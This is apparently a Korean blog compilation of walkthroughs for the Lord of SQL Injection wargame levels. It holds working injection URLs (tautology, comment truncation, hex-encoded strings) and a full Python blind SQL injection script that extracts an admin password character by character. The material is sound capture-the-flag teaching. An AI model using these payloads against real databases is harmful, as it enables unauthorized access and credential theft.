무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자.

<출처 : 나무위키 : https://namu.wiki/w/%EB%96%A1%EA%B0%88%EB%82%98%EB%AC%B4 > 떡갈나무(Oak Wood)

* 주의 : 이번 포스팅은 Python을 기본적으로 다룰 줄 아는 사람이 보도록 하자 모른다면 Python부터 짧게 공부하고 오자(다른 언어를 자유자재로 다룰 줄 안다면 이번포스팅에 굳이 Python을 알 필요는 없다. *

Python 배우기 : 2021.04.04 - [개발/Python] - [Python] - Python의 설치와 실행

 

[Python] - Python의 설치와 실행

농사를 지으려면 땅이 있어야 하고, 그림을 그리려면 캔버스가 있어야 한다. 무슨 소리냐. -- Python을 시작하려면 Python을 작성할 수 있는 개발도구가 있어야 한다. -- 프로그램도 자신의 맞는 환경

tutoreducto.tistory.com


코드 

두개의 쿼리로 구분된다. 편하게 query1, 2로 부르기로 하고, query1부터 확인해보자

 

Query 1

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 

query 1은 pw라는 파라미터에 다음과 같은 제한사항을 두며 시작한다.

prob, _(언더바), .(점), \(역 슬래쉬)

query는 get방식으로 가져온 pw파라미터를 이용해서 id='admin' and pw='{$_GET [pw]}'를 실행한다. id를 가져오는 쿼리 결과에 admin레코드가 있으면 hello admin을 출력한다.

 

Query 2

 $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 

query 2는 pw를 가져온다. query결과에 pw레코드를 가져와서 존재하는지 확인하고, 실재 pw와 우리가 파라미터로 넘긴 pw가 같으면 solve()를 호출한다. 

 

우리는 진짜 pw를 알아야 한다!

 

저번 문제들과는 다르게 pw 그 자체를 요구하기에 이번에는 우회의 기법으로 해결할 수 없다. 따라서 우리는 새로운 무기가 필요하다

 


해결방법

 

Blind SQL Injection

우리는 Orc를 무찌르기 위해 새로운 무기인 Blind SQL Injection을 채용해야 된다. Blind SQL Injection은 무수히 많은 query를 요청하여 값 쿼리에 대한 참/거짓 혹은 변화하는 내용을 기반으로 정보를 get 하는 방법이다. 이번 문제에서는 query1이 Hello admin이라는 문자열을 출력하는 것을 기반으로 Blind SQL Injection을 실행하면 될 거 같다.

 

import string
from requests import get

if __name__=="__main__" :

    url = ##orc 문제 url
    cookie = dict(PHPSESSID ="##자신의 PHPSESSIONID 값##")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

    print("### START BLIND SQL INJECTION ###")
    print("\n\n### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?pw=1%27%20or%20length(pw)="+str(length)+"%20and%20id=%27admin%27--%20%;"
        new_url = url+param
        req = get(new_url,cookies=cookie)

        if (req.text.find("Hello admin")>0) :
            print("FIND! password lenght id : "+str(length))
            break
        
        length+=1
        


    print("\n\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        for a in letters :
            param = "?pw=1' or id='admin' and ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"--%20;"
            new_url = url+param
            req = get(new_url,cookies=cookie)

            if(req.text.find("Hello admin")>0) :
                print("find "+str(i)+"'s letter : "+a)
                password += a
                break

    print("="*25)
    print("find password : "+result)

오우! Python코드이다. 젠장 우리에게 왜 이런 시련이 닥친 것일까. 진정하자 코드는 굉장히 단순하다 한줄한줄 살펴보도록 하자. 코드는 정의부, 실행부 1, 2로 나누어 설명한다.

 

정의부

if __name__=="__main__" :

    url = ##orc 문제 url
    cookie = dict(PHPSESSID ="##자신의 PHPSESSIONID 값##")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

 

다음은 변수에 대한 설명이다.

1. url : 문제 url이다. query요청을 웹으로 날리려면 당연히 필요하다.
2. cookie : 세션 id를 담고 있는 dictionary이다.(세션을 모르는 사람이 있을 거 같아 아래 더보기에서 짧게 설명한다.)
3. length : 실행부 1에서 사용할 정수로 pw의 길이를 저장하는 변수이다.
4. letters : 실행부 2에서 사용할 문자열로 string모듈의 digits와 ascii_letters가 더해진다. 저장된 값은 다음과 같다.
>>> print(letters)
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
5. password : 알아낸 pw를 저장할 변수로, 빈 값으로 초기화해두었다.

 

더보기

쿠키와 세션

쿠키는 효율적이고 안전한 웹 사용을 보장하기 위해서 호스트에 저장되는 작은 데이터이다. 그중 우리가 이번에 사용할 PHPSESSID라는 쿠키는 세션 값으로, 요청이 누구에서 온 지를 기억한다. 이를 우리 요청에 넣어줌으로 "나의 요청"을 할 수 있는 것이다.

 

* 홈페이지에서 이동을 할 때 모든 요청에 대해 로그인을 취하지는 않는다. 이를 세션으로 기억해서 쿠키로 넘겨줌으로 서버에서 "아 이 요청은 XXX에서 발송한 거구나"를 인지할 수 있도록 해주는 것이다.

* 실제로 COOKIE에 세션 값을 넣는 행위는 보안 목적으로 좋지 않다. 쿠키는 OPEN 된 값이며, 요청 시 쉽게 노출된다. 따라서 여러 가지 부가적인 인증 메커니즘을 가지는 것이 마땅하지만, Lord of SQL Injection은 wargame사이트이기에 코드 작성을 위해 모든 로그인 정보를 쿠키의 PHPSESSID로 처리한다.

 

이제 코드의 본문인 실행부 1로 넘어가자

 

실행부 1

print("### START BLIND SQL INJECTION ###")
print("\n\n### LENGTH of PASSWORD SEARCH ###")
while(True) :
    param = "?pw=1%27%20or%20length(pw)="+str(length)+"%20and%20id=%27admin%27--%20%;"
    new_url = url+param
    req = get(new_url,cookies=cookie)

    if (req.text.find("Hello admin")>0) :
        print("FIND! password lenght id : "+str(length))
        break

    length+=1

실행부 1의 목적은 pw의 길이를 탐색하는 것이다. 이를 달성하기 위해 선택한 방법은 guest의 pw를 1로 설정하고(1은 guest의 pw가 아니다. guest레코드가 탐색되는 것을 방지하기 위한 대책이다.) length변수를 하나씩 증가시키며 DataBase함수인 length(pw)를 활용해 admin 레코드 추출에 성공한 "Hello admin"이 응답에 포함되는지 가져오는 것이다.

### START BLIND SQL INJECTION ###


### LENGTH of PASSWORD SEARCH ###
FIND! password lenght id : 8

이를 통해 알아낸 PW의 길이는 8이다. 웹페이지에서 보면 다음과 같다.

* 응? pw에 음영 들어갔네? 무시하자

 

거의 다 왔다. 다음은 실행부 2이다.

 

실행부 2

print("\n\n### PASSWORD SEARCH ###")
for i in range(1,length+1) :
    for a in letters :
        param = "?pw=1' or id='admin' and ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"--%20;"
        new_url = url+param
        req = get(new_url,cookies=cookie)

        if(req.text.find("Hello admin")>0) :
            print("find "+str(i)+"'s letter : "+a)
            password += a
            break

print("="*25)
print("find password : "+result)

실행부 2의 목적은 알아낸 길이로 실제 pw를 찾아내는 것이다. 다음의 DataBase함수가 사용된다.

1. ASCII(parameter) : 전달된 한 글자 parameter의 ASCII값을 출력한다.
2. SUBSTR(letter, index, length) : 첫 번째 파라미터인 letter에서 index부터 length개의 값을 추출한다. 이번 문제에서는 pw의 첫 번째~마지막 글자를 하나씩 추출하는 데 사용된다.

 

우선 길이만큼 반복문을 사용하였다. param변수를 보면 우리가 GET으로 요청할 pw파라미터의 정의가 보인다.

앞부분은 우리가 알던 SQL INJECTION과 같으니 넘어가고, ASCII(SUBSTR(pw, "+str(i)+",1))="+str(ord(a))+"--%20;"을 보면 위에 함수 설명대로 pw의 한문자를 빼 온 다음 모든 영숫자로 정의된 letters의 반복자와 비교하여 로그인에 성공한 Hello admin문자열이 있으면 password에 문자열을 더해주는 동작을 한다.

 

이로써 알아낸 admin의 pw는 다음과 같다.

### PASSWORD SEARCH ###
find 1's letter : 0
find 2's letter : 9
find 3's letter : 5
find 4's letter : a
find 5's letter : 9
find 6's letter : 8
find 7's letter : 5
find 8's letter : 2
=========================
find password : 095a9852


가... 강적이었다.... 그래도 우리는 강력한 무기인 Blind SQL Injection의 도움으로 이 몬스터를 물리칠 수 있었다. Blind SQL Injection은 여러 가지 변형된 형태가 많다. 기초가 중요한 법이니, 이해가 어렵다면 여러 번 읽고, 다음 관문으로 넘어오도록 하자

코볼트를 훌륭하게 퇴치한 우리를 3번째로 반겨주는 몬스터는 고블린이다. 바로 코드를 확인하자

<출처 : 나무위키 https://namu.wiki/w/%EA%B3%A0%EB%B8%94%EB%A6%B0>


코드

코블린의 코드이다. 일단 id와 pw가 아닌 no라는 파라미터를 받아들이며 다음과 같은 문자열이 금지된다.

prob, _(언더바), .(점), \(역 슬래쉬), '(작은따옴표), "(큰따옴표), `(그레이브)

 

이런! 우린 작은따옴표와 큰따옴표를 금지당했다.

이번에도 역시 no파라미터에 코드를 닫을 수 있도록 해주어야 하는데 어떡하나 싶다(ㄷㄷ). query는 다음과 같다.

$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";

해결조건은 다음과 같다. admin이 검색되면 성공이다.

<?php 
  ...
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  ...
?>

이번 문제에서 우리는 두가지를 성공시켜야 한다.

① guest레코드가 검색되지 않아야 한다.
② admin레코드가 검색되어야 한다.

 


 

해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?no=5555%20or%20id=0x61646D696E%20--%20;

 

 

우선 guets레코드가 검색되지 않게 해야 된다. no에 임의의 수인 5555를 넣어보자.

오호... guest의 id는 아무래도 5555는 아닌 거 같다. 좋다. 이제 guest를 무시하는 방법은 알았다.

다음의 문제는 admin의 문자열이 쿼리에서 동작하도록 해야 되는 건데, 자연어 로보면 다음의 query가 유효할 것 같다.

? no=5555 or id='admin'-- ; 

그런데 이번 문제는 작은따옴표는 금지되어있다. 따라서 이를 hex로 처리해주면 database는 문자열로 자동으로 바꾸어 표현해준다. Answer Url에 있는 0x61646D696E는 admin이라는 문자열을 16진수 아스키 값으로 표현한 것이다.

문자열 - 헥스값 변환 : www.percederberg.net/tools/text_converter.html

 

swiss converter tool | percederberg.net

Quick encoding, decoding, escaping & unescaping of UTF-8, base64, hexadecimal, JSON, quoted-printable, HTTP POST, XML and more.

www.percederberg.net

 

 

축하한다. 우리는 hex로 전달하면 문자열로 바꾸어주는 Database의 특징을 간파해서 Goblin을 무찔렀다. 필자는 다음 관문에서 기다리겠다.(다음은 조금 난해한 몬스터가 우리를 기다린다.)

다음으로 우리는 반기는 몬스터는 cobolt이다. 바로 코드로 넘어가자로 우리는 반기는 몬스터는 cobolt이다. 바로 코드로 넘어가자

<출처 : 위키백과https://ko.wikipedia.org/wiki/%EC%BD%94%EB%B3%BC%ED%8A%B8>


코드

알고 있는 부분은 빠르게 넘어가고 이번에 못쓰는 문자열은 다음과 같다.

prob, _(언더바),.(점), \(역 슬래쉬)

이점은 Level 1이랑 다른 게 없어 보인다. 쿼리를 보자

$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 

으흠; 이번에 는 id에 해당하는 pw를 md5를 이용해서 해싱하고 해싱 값을 비교한다. 

* 여담인데, DB를 다뤄본 분들은 아시겠지만, 비밀번호는 일방향으로 암호화, 생체정보는 양방향 암호화하는 것이 현재 개인정보보호법의 기준이다. 물론 md5같이 충돌이 발견된 불안정한 알고리즘으로 하면 안 된다.

 

눈치 빠른 독자들은 눈치를 챘을지도 모르지만, cobolt의 코드에는 저번 gremlin의 코드의 Injection이 유효하다.

다음을 입력해보자

Answer URL? : los.rubiya.kr/chall/XXX.php?id=admin%27%20or%201=1--%20;

응? 우리 보고 admin이 아니라 rubiya란다. 즉 이번에는 admin으로 접근을 해야 되는 걸 알 수 있다.

* 사실 아래 if($result ['id']='admin')을 비교하고 아니면 위와 같은 화면을 출력하게 코드가 짜여있다.

 

 

 

해결방법

Answer URL : los.rubiya.kr/chall/XXX.php?id=admin%27%--%20; 

아니 이렇게 간단할 수가; 맞다 우리 보고 admin계정의 존재는 알려주었으니까 그냥 admin을 가져오라고 query를 하고, query를 작은따옴표(')로 닫아버리면 끝이다.


이렇게 Lord of SQL Injection의 두 번째 몬스터인 코볼트 사냥에 성공하였다. 상황상황에 따라 필요한 정보를 빼오는 맛이 SQL Injectino엔 있다. 흥미를 잃지 않았기를 바라면서 다음 관문에서 여러분을 기다리겠다.

으ㅡㅡ 우리를 반겨주는 첫 번째 몬스터는 작은 그렘린이다. 우선 이 친구의 코드부터 알아보자

<출처 : 나무위키 https://namu.wiki/w/%EA%B7%B8%EB%A0%98%EB%A6%B0(%EC%98%81%ED%99%94) >

 


코드

PHP 코드를 열면 다음과 같은 코드가 우리를 반긴다. 첫 시작이니 하나하나 코드를 분석해 보자

<?php						// 그렇다 이 웹문서는 php로 제작되었다.
  include "./config.php";	
  login_chk();				// ./config.php에 정의된 함수이다.
  $db = dbconnect();		// ./config.php에 정의된 함수이다.

으흠 아직까진 특이점이 없어보인다. 계속 코드를 분석해보자 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

 

오호 이제 중요한 특징이 나온다. 이곳이 안정성을 담당하는 필터링 코드이다. 우리는 이곳을 우회해야한다.

 

php의 preg_match이라는 함수는 첫 번째 파라미터로 전달된 문자열들이(파이프| 로 구분한다.) 두 번째 파라미터로 전달된 값에 포함되면 매치 성공을 의미하는 1을 반환하는 함수이다.

 

즉 우리는 get방식으로 전달되는 id와 pw값에 prob, _,., \, 등을 적을 수 없으며.(뒤의 /i는 대소문자의 구별을 하지 않겠다는 의미이다. 이번 코드에는 의미가 없다.) preg_match의 조건문이 실행되었을 때 exit함수로 웹페이지를 종료하는 코드이다.

 

필터링을 거친 코드는 다음과 같다.

<?php
  …
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  …
?>

우리가 공략해야 될 SQL문이 보인다. $query에 get으로보낸 id와 pw를 전달한다.

  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

그 후 $result에 id값이 있으면 gremlin은 해결된다. 즉 우리가 해야될 것은 다음과 같다.

 

GET방식의 id와 pw파라미터에 prob, _, \,. 을 사용하지 않고 테이블에 존재하는 id와 pw 중 한 가지 이상을 가져와라!

 

오호.. Brute Force로 찍어야 마땅하겠만, 뭐가 있는지 모르는 id와 pw를 어떻게 가져온다는 말인가?

 

 

해결방법

Answer url : los.rubiya.kr/chall/gremlin_somthing.php?id=admin%27%20or%201=1--%20;

일단 urlencoding을 모르는 사람들을 위해서 >> space(공백)은 %20이 되고, 작은따옴표(')는 %27이 된다. 

 

id 파라미터로 admin%27 or 1=1-- ;을 입력하면 해결된다. 코드에 있던 $query에 입력된 모양은 다음과 같다.

 $query = "select id from prob_gremlin where id='admin' or 1=1-- ;' and pw='{$_GET[pw]}'";

즉 id가 뭔지는 모르지만 admin을 넣어주고(뭘 넣어도 의미 없다.) 작은따옴표를 닫아줌으로써 우리는 query문자열에 파라미터 id를 넣는 것이 아닌 코드에 직접 접근할 수 있게 되었다.

그 후 or 1=1(무조건 참)을 넣어주어 모든 레코드를 가져오도록 지시하였고, query뒤에 있던 "and pw='{$_GET [pw]}'";는 실행되지 않도록 뒤에 ①SQL주석을 의미하는 --②코드의 끝을 의미하는 ;를 넣어 그냥 $query를 닫아 버렸다(!!)


Lord of SQL Injection 던전에서 첫 몬스터를 잡은 영광의 축배를 들자. 다음 포스팅부터는 기본적인 내용은 제외하고 설명할 것이라서 간단하게 설명될 것이다. 축하한다!

 

 

약 1년전 열심히 풀었던 SQL Injection Hack Web인 Lord Of SQL Injection의 문제풀이를 적어두려고한다.
필자또한 독자와 같이 새로운 계정을 생성해서 처음부터 문제를 풀어나가보려고한다.

Lord of SQL Injection은 SQL injection의 입문으로, 또한 이미 SQL Injecion에 통달한 사람들에게도 되새김 할 수 있는 좋은 홈페이지이니 SQL Injection에 관심있는 사람이라면 가벼운 마음으로 읽어보면 좋을 거 같다.
* 재미도 있다. 던전형식을 오마주한Hack Web이다.


주소는 다음과 같다.

los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

들어가면 다음과 같은 퀘스트 지령서가 우리들을 반긴다. [enter to the dungeon]를 눌러 모험을 시작하자


이유가 어떻든 우리는 SQL Injection 던전에 들어왔다. 이제 필자와 함께 차근차근 레벨업 해보자

+ Recent posts